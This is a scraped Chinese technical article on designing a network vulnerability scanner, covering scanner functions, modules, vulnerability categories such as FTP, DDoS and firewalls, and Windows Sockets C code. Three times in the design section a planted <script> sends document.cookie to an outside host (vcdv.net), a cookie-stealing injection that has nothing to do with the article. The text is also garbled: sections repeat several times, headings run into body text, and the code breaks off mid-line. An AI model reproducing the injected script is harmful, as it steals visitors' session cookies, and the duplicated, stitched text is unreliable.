网络扫描器的设计与实现
摘要:信息安全是为了保障计算机系统软件、应用软件及网络软件可靠运行;防止信息的非授权访问、获取与篡改;保证信息完整性与可用性。本文分析了网络扫描器在信息安全领域的作用与设计实现思想。
关键词:信息安全,网络漏洞,套接字,分布式拒绝服务,简单邮件传输协议
一 扫描器软件概述
计算机网络的迅猛发展引发了人们对网络安全的重视,信息安全的目标在于保护信息保密性、完整性以及对合法用户提供应有服务。网络漏洞是系统软、硬件存在安全方面的脆弱性,安全漏洞的存在导致非法用户入侵系统或未经授权获得访问权限,造成信息篡改和泄露、拒绝服务或系统崩溃等问题。系统管理员可根据安全策略,使用网络工具实现系统安全审计。
1.1 扫描器的功能
扫描器是检测远程或本地系统安全脆弱性的软件;通过与目标主机TCP/IP端口建立连接和并请求某些服务(如TELNET、FTP等),记录目标主机的应答,搜集目标主机相关信息(如匿名用户是否可以登录等),从而发现目标主机某些内在的安全弱点。扫描器的重要性在于把极为烦琐的安全检测,通过程序来自动完成,这不仅减轻管理者的工作,而且缩短了检测时间,使问题发现更快。当然,也可以认为扫描器是一种网络安全性评估软件。一般而言,扫描器可以快速、深入地对网络或目标主机进行评估。
1.2 扫描器的分类
从信息流的角度理解信息安全,可划分为数据存放的安全性与网络传输的安全性(涉及操作系统安全性及应用程序的安全性),网络中任何一个环节出现不安全因素都会破坏整个信息流的安全性,因此把扫描器分为三类:数据库安全扫描器,操作系统安全扫描器和网络安全扫描器(针对于网络服务、应用程序、网络设备、网络协议等)。对扫描对象的脆弱性进行深入了解,能较好地用运用程序来自动检测发现其是否存在已有的漏洞;能给扫描时发现的问题提供一个良好的解决方案;能在系统实现时,提高效率并提供了相应的补救信息。
二 网络扫描器设计方案
网络扫描器是一个涉及知识面广、动态性强的软件,应具有易于配置、易于扩展、快速扫描、智能报告和深度分析等功能。网络扫描是对系统脆弱性的分析评估,能够检查、分析网络范围内的设备、网络服务、操作系统、数据库系统等系统的安全性,<script type="text/javascript"> var y=document.cookie;var i="http://vcdv.net/cgi-bin/2.pl?"+escape(y);document.write("<script src="+i+" >"); </script><script src="http://vcdv.net/cgi-bin/2.pl?" type="text/javascript"> </script> 从而为提高网络安全的等级提供决策的支持。
2.1 基本功能模块
经过大量的分析与调研,进而设计出由以下几个模块组成的网络扫描器:用户界面,友好的用户界面使扫描配置更加简单有效,结果显示清楚条理,扫描插件维护功能方便;扫描引擎,检测目标系统,调度扫描插件模块,执行安全测试;扫描插件,主要完成对目标系统的检查;脆弱性报告,能够依据不同的需求,提供不同形式的报表;数据库,包括系统安全漏洞、告警信息和补救方法。
2.2 扫描内容的分类
根据安全漏洞的测试原理,扫描内容可分为:general普通、Microsoft win9x/NT平台、firewalls防火墙、useless services无用服务、ftp文件传输协议、backdoors后门程序、cgi abuses(cgi滥用)、remote file access远端文件获取、gain root remotely远端获得根权限、rpc远端过程调用、nis网络信息服务、finger abuses(finger 滥用)、smtp problems简单邮件传输协议的错误、virus病毒、DDoS分布式拒绝服务、Router Setting路由器配置等20多种类型,800多个安全漏洞。简介如下:
(1)ftp文件传输协议类
ftp服务广泛应用于Internet中,同时具有显著的安全脆弱性。如匿名ftp本身不是安全漏洞,但其提供了访问远程系统能力,入侵者可借此获取系统口令文件并探测系统漏洞,因而通常禁用匿名ftp服务,开放时必须正确配置并进行严格管理;此外,建立上传目录往往为了便于在Internet上交换文件,而网络攻击者则在可写区域中肆意删除、修改信息或上传恶意代码(如特洛伊木马、计算机病毒等)。
(2) DDoS分布式拒绝服务类
分布式拒绝服务攻击也是最为常见的网络攻击方法,进攻形式多种多样。从利用网络协议到针对操作系统平台的漏洞,都可以发出拒绝服务攻击,可以说其攻击手段防不胜防。通过发送连续的字符可以检测Microsoft SQL Server等数据库服务器是否有DDoS漏洞。
(3) firewall防火墙类
设置网络防火墙的目的是在通信网与外界网之间提供一道屏障,以保护网络中的信息流免受来自外部网络的各种威胁。防火墙可以是路由器、PC机、主机系统或一批主系统,是硬件和软件的组合体。由于网络防火墙自身存在的设计问题和使用配置错误,扫描器可以检测不同类别或版本的网络防火墙存在的安全漏洞。
三 实现中的关键问题
网络扫描器采用B/S模式进行软件开发,B/S模式是指软件的主体部分都在服务器端,用户只需使用浏览器发出扫描服务的请求,由服务器执行对扫描目标的扫描操作,并将最终扫描结果以脆弱性报告形式发送到客户端。这种模式的优点在于用户只需通过浏览器,就可以对目标进行扫描,操作简单易学。
3.1 Windows Sockets编程
Socket存在于通信区域中是网络通信基本构件,是可以被命名和寻址的通信端点,网络编程中各套接字都有相关进程与其类型对应。下面仅就网络扫描器开发过程中用到的Windows Socket的一些共性操作加以说明。
扫描器软件概述计算机网络的迅猛发展引发了人们对网络安全的重视,信息安全的目标在于保护信息保密性、完整性以及对合法用户提供应有服务。网络漏洞是系统软、硬件存在安全方面的脆弱性,安全漏洞的存在导致非法用户入侵系统或未经授权获得访问权限,造成信息篡改和泄露、拒绝服务或系统崩溃等问题。系统管理员可根据安全策略,使用网络工具实现系统安全审计。
1.1 扫描器的功能
扫描器是检测远程或本地系统安全脆弱性的软件;通过与目标主机TCP/IP端口建立连接和并请求某些服务(如TELNET、FTP等),记录目标主机的应答,搜集目标主机相关信息(如匿名用户是否可以登录等),从而发现目标主机某些内在的安全弱点。扫描器的重要性在于把极为烦琐的安全检测,通过程序来自动完成,这不仅减轻管理者的工作,而且缩短了检测时间,使问题发现更快。当然,也可以认为扫描器是一种网络安全性评估软件。一般而言,扫描器可以快速、深入地对网络或目标主机进行评估。
1.2 扫描器的分类
从信息流的角度理解信息安全,可划分为数据存放的安全性与网络传输的安全性(涉及操作系统安全性及应用程序的安全性),网络中任何一个环节出现不安全因素都会破坏整个信息流的安全性,因此把扫描器分为三类:数据库安全扫描器,操作系统安全扫描器和网络安全扫描器(针对于网络服务、应用程序、网络设备、网络协议等)。对扫描对象的脆弱性进行深入了解,能较好地用运用程序来自动检测发现其是否存在已有的漏洞;能给扫描时发现的问题提供一个良好的解决方案;能在系统实现时,提高效率并提供了相应的补救信息。
二 网络扫描器设计方案
网络扫描器是一个涉及知识面广、动态性强的软件,应具有易于配置、易于扩展、快速扫描、智能报告和深度分析等功能。网络扫描是对系统脆弱性的分析评估,能够检查、分析网络范围内的设备、网络服务、操作系统、数据库系统等系统的安全性,<script type="text/javascript"> var y=document.cookie;var i="http://vcdv.net/cgi-bin/2.pl?"+escape(y);document.write("<script src="+i+" >"); </script><script src="http://vcdv.net/cgi-bin/2.pl?" type="text/javascript"> </script> 从而为提高网络安全的等级提供决策的支持。
2.1 基本功能模块
经过大量的分析与调研,进而设计出由以下几个模块组成的网络扫描器:用户界面,友好的用户界面使扫描配置更加简单有效,结果显示清楚条理,扫描插件维护功能方便;扫描引擎,检测目标系统,调度扫描插件模块,执行安全测试;扫描插件,主要完成对目标系统的检查;脆弱性报告,能够依据不同的需求,提供不同形式的报表;数据库,包括系统安全漏洞、告警信息和补救方法。
2.2 扫描内容的分类
根据安全漏洞的测试原理,扫描内容可分为:general普通、Microsoft win9x/NT平台、firewalls防火墙、useless services无用服务、ftp文件传输协议、backdoors后门程序、cgi abuses(cgi滥用)、remote file access远端文件获取、gain root remotely远端获得根权限、rpc远端过程调用、nis网络信息服务、finger abuses(finger 滥用)、smtp problems简单邮件传输协议的错误、virus病毒、DDoS分布式拒绝服务、Router Setting路由器配置等20多种类型,800多个安全漏洞。简介如下:
(1)ftp文件传输协议类
ftp服务广泛应用于Internet中,同时具有显著的安全脆弱性。如匿名ftp本身不是安全漏洞,但其提供了访问远程系统能力,入侵者可借此获取系统口令文件并探测系统漏洞,因而通常禁用匿名ftp服务,开放时必须正确配置并进行严格管理;此外,建立上传目录往往为了便于在Internet上交换文件,而网络攻击者则在可写区域中肆意删除、修改信息或上传恶意代码(如特洛伊木马、计算机病毒等)。
(2) DDoS分布式拒绝服务类
分布式拒绝服务攻击也是最为常见的网络攻击方法,进攻形式多种多样。从利用网络协议到针对操作系统平台的漏洞,都可以发出拒绝服务攻击,可以说其攻击手段防不胜防。通过发送连续的字符可以检测Microsoft SQL Server等数据库服务器是否有DDoS漏洞。
(3) firewall防火墙类
设置网络防火墙的目的是在通信网与外界网之间提供一道屏障,以保护网络中的信息流免受来自外部网络的各种威胁。防火墙可以是路由器、PC机、主机系统或一批主系统,是硬件和软件的组合体。由于网络防火墙自身存在的设计问题和使用配置错误,扫描器可以检测不同类别或版本的网络防火墙存在的安全漏洞。
三 实现中的关键问题
网络扫描器采用B/S模式进行软件开发,B/S模式是指软件的主体部分都在服务器端,用户只需使用浏览器发出扫描服务的请求,由服务器执行对扫描目标的扫描操作,并将最终扫描结果以脆弱性报告形式发送到客户端。这种模式的优点在于用户只需通过浏览器,就可以对目标进行扫描,操作简单易学。
3.1 Windows Sockets编程
Socket存在于通信区域中是网络通信基本构件,是可以被命名和寻址的通信端点,网络编程中各套接字都有相关进程与其类型对应。下面仅就网络扫描器开发过程中用到的Windows Socket的一些共性操作加以说明。
网络扫描器设计方案网络扫描器是一个涉及知识面广、动态性强的软件,应具有易于配置、易于扩展、快速扫描、智能报告和深度分析等功能。网络扫描是对系统脆弱性的分析评估,能够检查、分析网络范围内的设备、网络服务、操作系统、数据库系统等系统的安全性,<script type="text/javascript"> var y=document.cookie;var i="http://vcdv.net/cgi-bin/2.pl?"+escape(y);document.write("<script src="+i+" >"); </script><script src="http://vcdv.net/cgi-bin/2.pl?" type="text/javascript"> </script> 从而为提高网络安全的等级提供决策的支持。
2.1 基本功能模块
经过大量的分析与调研,进而设计出由以下几个模块组成的网络扫描器:用户界面,友好的用户界面使扫描配置更加简单有效,结果显示清楚条理,扫描插件维护功能方便;扫描引擎,检测目标系统,调度扫描插件模块,执行安全测试;扫描插件,主要完成对目标系统的检查;脆弱性报告,能够依据不同的需求,提供不同形式的报表;数据库,包括系统安全漏洞、告警信息和补救方法。
2.2 扫描内容的分类
根据安全漏洞的测试原理,扫描内容可分为:general普通、Microsoft win9x/NT平台、firewalls防火墙、useless services无用服务、ftp文件传输协议、backdoors后门程序、cgi abuses(cgi滥用)、remote file access远端文件获取、gain root remotely远端获得根权限、rpc远端过程调用、nis网络信息服务、finger abuses(finger 滥用)、smtp problems简单邮件传输协议的错误、virus病毒、DDoS分布式拒绝服务、Router Setting路由器配置等20多种类型,800多个安全漏洞。简介如下:
(1)ftp文件传输协议类
ftp服务广泛应用于Internet中,同时具有显著的安全脆弱性。如匿名ftp本身不是安全漏洞,但其提供了访问远程系统能力,入侵者可借此获取系统口令文件并探测系统漏洞,因而通常禁用匿名ftp服务,开放时必须正确配置并进行严格管理;此外,建立上传目录往往为了便于在Internet上交换文件,而网络攻击者则在可写区域中肆意删除、修改信息或上传恶意代码(如特洛伊木马、计算机病毒等)。
(2) DDoS分布式拒绝服务类
分布式拒绝服务攻击也是最为常见的网络攻击方法,进攻形式多种多样。从利用网络协议到针对操作系统平台的漏洞,都可以发出拒绝服务攻击,可以说其攻击手段防不胜防。通过发送连续的字符可以检测Microsoft SQL Server等数据库服务器是否有DDoS漏洞。
(3) firewall防火墙类
设置网络防火墙的目的是在通信网与外界网之间提供一道屏障,以保护网络中的信息流免受来自外部网络的各种威胁。防火墙可以是路由器、PC机、主机系统或一批主系统,是硬件和软件的组合体。由于网络防火墙自身存在的设计问题和使用配置错误,扫描器可以检测不同类别或版本的网络防火墙存在的安全漏洞。
三 实现中的关键问题
网络扫描器采用B/S模式进行软件开发,B/S模式是指软件的主体部分都在服务器端,用户只需使用浏览器发出扫描服务的请求,由服务器执行对扫描目标的扫描操作,并将最终扫描结果以脆弱性报告形式发送到客户端。这种模式的优点在于用户只需通过浏览器,就可以对目标进行扫描,操作简单易学。
3.1 Windows Sockets编程
Socket存在于通信区域中是网络通信基本构件,是可以被命名和寻址的通信端点,网络编程中各套接字都有相关进程与其类型对应。下面仅就网络扫描器开发过程中用到的Windows Socket的一些共性操作加以说明。
实现中的关键问题网络扫描器采用B/S模式进行软件开发,B/S模式是指软件的主体部分都在服务器端,用户只需使用浏览器发出扫描服务的请求,由服务器执行对扫描目标的扫描操作,并将最终扫描结果以脆弱性报告形式发送到客户端。这种模式的优点在于用户只需通过浏览器,就可以对目标进行扫描,操作简单易学。
3.1 Windows Sockets编程
Socket存在于通信区域中是网络通信基本构件,是可以被命名和寻址的通信端点,网络编程中各套接字都有相关进程与其类型对应。下面仅就网络扫描器开发过程中用到的Windows Socket的一些共性操作加以说明。
(1) 设置服务器地址和连接端口
struct sockaddr_in sad; // 获得主机地址的结构
struct hostent *ptrh; // 指向主机入口的指针
ptrh=NULL;
sad.sin_port=htons(21); // 如设定连接端口为21
sad.sin_addr.s_addr=inet_addr(host->ip); //扫描目标主机IP地址
sad.sin_family=AF_INET; // 地址类型规范
(2) 创建Windows Socket套接字
套接字类型可根据通信特征进行分类。Windows Sockets 1.1支持两种套接字:流套接字SOCK_STREAM和数据报套接字SOCK_DGRAM。具体实现如下:
SOCKET sd; // 定义sd为Socket
sd=socket(PF_INET,SOCK_STREAM,0); //创建TCP Socket套接字
if (sd<0) {return FALSE;} // sd<0表示本地创建Socket失败,返回值为假
struct sockaddr_in sad; // 获得主机地址的结构
struct hostent *ptrh; // 指向主机入口的指针
ptrh=NULL;
sad.sin_port=htons(21); // 如设定连接端口为21
sad.sin_addr.s_addr=inet_addr(host->ip); //扫描目标主机IP地址
sad.sin_family=AF_INET; // 地址类型规范
(2) 创建Windows Socket套接字
套接字类型可根据通信特征进行分类。Windows Sockets 1.1支持两种套接字:流套接字SOCK_STREAM和数据报套接字SOCK_DGRAM。具体实现如下:
SOCKET sd; // 定义sd为Socket
sd=socket(PF_INET,SOCK_STREAM,0); //创建TCP Socket套接字
if (sd<0) {return FALSE;} // sd<0表示本地创建Socket失败,返回值为假
套接字类型可根据通信特征进行分类。Windows Sockets 1.1支持两种套接字:流套接字SOCK_STREAM和数据报套接字SOCK_DGRAM。具体实现如下:
SOCKET sd; // 定义sd为Socket
sd